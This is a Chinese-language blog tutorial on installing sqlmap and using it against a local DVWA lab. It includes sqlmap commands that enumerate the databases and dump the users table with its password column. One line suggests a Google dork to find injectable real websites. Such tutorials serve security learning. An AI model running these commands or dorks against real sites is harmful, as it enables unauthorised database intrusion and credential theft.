SqlMap 初尝试

简介: SqlMap 初尝试 什么是SqlMap Sqlmap是开源的自动化SQL注入工具,由Python写成,具有如下特点: 完全支持MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase、SAP MaxDB、HSQLDB和Informix等多种数据库管理系统。

SqlMap 初尝试

什么是SqlMap

Sqlmap是开源的自动化SQL注入工具,由Python写成,具有如下特点:

完全支持MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase、SAP MaxDB、HSQLDB和Informix等多种数据库管理系统。

完全支持布尔型盲注、时间型盲注、基于错误信息的注入、联合查询注入和堆查询注入。

在数据库证书、IP地址、端口和数据库名等条件允许的情况下支持不通过SQL注入点而直接连接数据库。

支持枚举用户、密码、哈希、权限、角色、数据库、数据表和列。

支持自动识别密码哈希格式并通过字典破解密码哈希。

支持完全地下载某个数据库中的某个表,也可以只下载某个表中的某几列,甚至只下载某一列中的部分数据,这完全取决于用户的选择。

支持在数据库管理系统中搜索指定的数据库名、表名或列名

简单来说SqlMap就是一中SQL注入的工具,能实现对一些网站的SQL注入和获取数据库信息。

如何安装SqlMap

因为SqlMap是基于python,所以需要先安装本地的python环境

Python2.7.11下载:

下载地址:https://www.python.org/downloads/
  • 安装步骤可以查看其它的python的安装教程,蛮简单。
  • 安装完成后,重启系统,查看是否生效,“Win+R”,输入cmd,然后输入python

图片名称

通过 http://www.sqlmap.org/ 下载SqlMap的zip包
  • 通过在桌面创建快捷方式,实现桌面的SqlMap快捷键。

图片名称

  • 输入 cmd

图片名称

  • 输入自定义名称

图片名称

  • 将sqlmap的文件夹拷贝到python下

修改起始位置如下,修改为python下的sqlmap的地址
图片名称

  • 直接启动,如下
    image

SqlMap的实验

通过googel的inurl:"/.asp?id=" 搜索一些可被注入的网站进行尝试
我尝试的是通过DVWA的SQL 盲注入。

如果有兴趣,可以尝试先从DVWA的靶机开始。,DVWA是一款不错Web渗透的入门靶机

通过 sqlmap.py -u "http://127.0.0.1:8081/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=3pdq351sispu8cugkmpu7afhi4" --batch "实现对靶机的验证看能否注入攻击

ps:--batch 是指之后所有的选择参数都是默认的选项。

image

根据图片显示攻击可以注入,并获取到了后端的配置信息,以及将其内容输出成为了一个文档

image

测试成功,通过 --dbs命令查看后台的Databases,ps 因为 --batch为默认参数选择,所以必需为最后一个参数指令 。
根据后台显示以下几个databases,因为网站为dvwa,所以选中dvwa数据库,查看tables分布

[*] dvwa
[*] information_schema
[*] mysql
[*] performance_schema
[*] test

image

通过参数 -D 指定database 通过 --tables 显示所有的table ,如下图有两个表,因为要有攻击性,所以选择 users的表

+-----------+
| guestbook |
| users     |
+-----------+

image

-T参数指定表为users,--columns查看该表的所有列,查看到users表的表结构有这8个字段组成

[8 columns]
+--------------+-------------+
| Column       | Type        |
+--------------+-------------+
| user         | varchar(15) |
| avatar       | varchar(70) |
| failed_login | int(3)      |
| first_name   | varchar(15) |
| last_login   | timestamp   |
| last_name    | varchar(15) |
| password     | varchar(32) |
| user_id      | int(6)      |
+--------------+-------------+

image

通过 --dump显示出所有的内容

image

如果字段名过多,可以尝试通过 -C "user,password" 来实现指定字段的筛选

image

但是所有的数据不可能会在命令行上看,这样很不不方便。没关系,sqlmap在你执行 --dump命令时,已经将数据文件下载到了本地,可以随时查看文件数据,文件保存为CSV类别。

image

以上就是SqlMap的简单使用,至于为什么要学习这个攻击的技术,因为进攻是最好的防守啊,学会了如何攻击,才知道如何防御别人的攻击。

相关文章
|
2月前
|
SQL 安全 关系型数据库
Sqlmap2021 -- Referer注入
Sqlmap2021 -- Referer注入
27 1
|
2月前
|
安全 关系型数据库 MySQL
Sqlmap2021 -- Cookie注入
Sqlmap2021 -- Cookie注入
23 1
|
8月前
|
Python Windows
sqlmap安装及简介
sqlmap安装及简介
320 0
|
SQL 测试技术 网络安全
[ 渗透工具篇 ] sqlmap 详解(一) sqlmap 安装详解
[ 渗透工具篇 ] sqlmap 详解(一) sqlmap 安装详解
990 0
[ 渗透工具篇 ] sqlmap 详解(一) sqlmap 安装详解
|
2月前
|
数据库
Sqlmap是如何GET注入的
Sqlmap是如何GET注入的
15 0
|
2月前
|
SQL Shell 数据库
21、sqlmap参数详解
21、sqlmap参数详解
23 0
|
7月前
|
SQL 安全 数据库
|
11月前
|
SQL XML 安全
SQLMap注入工具
SQLMap 是一个开源渗透测试工具,它可以自动检测和利用 SQL 注入漏洞并接管数据库服务器。它具有强大的检测引擎,同时有众多功能,包括数据库指纹识别、从数据库中获取数据、访问底层文件系统以及在操作系统上带内连接执行命令。
|
11月前
|
SQL 安全 数据库
sqlmap的基本使用方法
sqlmap的基本使用方法
295 0
|
SQL Oracle 关系型数据库
sqlmap的使用
sqlmap的使用
115 0